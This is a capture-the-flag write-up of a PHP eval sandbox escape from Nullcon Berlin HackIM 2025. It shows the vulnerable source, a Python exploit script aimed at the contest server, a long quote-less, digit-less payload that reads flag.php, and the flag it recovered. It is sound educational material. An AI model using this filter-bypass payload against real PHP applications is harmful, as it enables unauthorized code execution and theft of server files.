Featured image of post Quote-less, digit-less PHP eval sandbox escape to RCE - Nullcon Berlin 2025

Quote-less, digit-less PHP eval sandbox escape to RCE - Nullcon Berlin 2025

Escaping a PHP eval sandbox with a quote-less, digit-less function chain to reach RCE. Nullcon Berlin HackIM 2025 web write-up.

Challenge source

Introduction

Slasher is a tiny PHP “eval sandbox”: input gets heavily escaped, then run through eval(). The filters go after the obvious primitives (quotes, digits, arrays, $, _, ., and so on), but they never stop PHP from executing. So a function chain that uses no quotes and no digits can still read flag.php and hand back the flag.

Context Explanation

  • Stack: a single index.php that includes flag.php, with a custom error handler and an HTML front-end.

  • Filters before eval:

    1. htmlentities(...)
    2. addslashes(...) (backslashes before quotes and \)
    3. addcslashes(..., '+?<>&v=${}%*:.[]_-0123456789xb `;') (digits, _, ., $, backtick, space, ;, and more)
  • Execution: the escaped string is interpolated into eval("$input;"), so whatever survives still has to parse as PHP.

Directive

Build a no-quotes, no-digits PHP expression out of functions that have no underscores, use it to read flag.php, and let it be the eval result.


Solution

1) Code reading

// Debug muted; source view allowed
if (isset($_GET['source'])) { highlight_file(__FILE__); die(); }
include "flag.php";

$output = null;
if (isset($_POST['input']) && is_scalar($_POST['input'])) {
    $input = $_POST['input'];
    $input = htmlentities($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
    $input = addslashes($input);
    $input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
    try {
        $output = eval("$input;");   // executes *after* escaping
    } catch (Exception $e) { /* swallowed */ }
}

What that leaves us:

  • Quotes become \"/\', dead.
  • Digits, ., _, $, space, ;, [] and several metachars get escaped, dead.
  • Still free: most letters, (, ), ,, =, and the many core functions with no underscore in their name (include, readfile, opendir, readdir, closedir, getcwd, scandir, max, min, …).

2) Bypass idea (mechanics)

No strings (quotes break), no numbers (digits slashed), no arrays ([] slashed), no variable names ($ slashed). But function calls are fine, and so is chaining their return values.

flag.php is already on disk and included before our code runs, so there’s no need to touch $FLAG, we just read the file. The trick is synthesizing the filename "flag.php" with no quotes and no digits, then feeding it to a file reader like file().

3) PoC

The building blocks: count(array(null, null, ...)) gives us any integer without a digit, chr(...) turns each integer into a character, and implode(array(...)) glues the characters into "flag.php". That string goes into file(), and echo(implode(...)) prints the contents.

import requests

BASE_URL = "http://52.59.124.14:5011"

def convert_count(n):
    return "count(array(" + ",".join(["null"] * n) + "))"

def encode_ord(n):
    return "chr(" + convert_count(n) + ")"

def encode_string(s):
    return "implode(array(" + ",".join(encode_ord(ord(c)) for c in s) + "))"

payload = "echo(implode(file(" + encode_string("flag.php") + ")))"

print(requests.post(BASE_URL + "/", data={"input": payload}).text[:58])

This script produces the payload:

echo(implode(file(implode(array(chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))))))))

which evaluates down to echo(implode(file(flag.php))).

Why it survives the filters: they only add backslashes before banned characters, and this payload contains none of them, so what reaches eval() is still valid PHP.

The server answers with the flag:

<?php
    $FLAG = "ENO{3v4L_0nC3_Ag41n_F0r_Th3_W1n_:-)}";
?>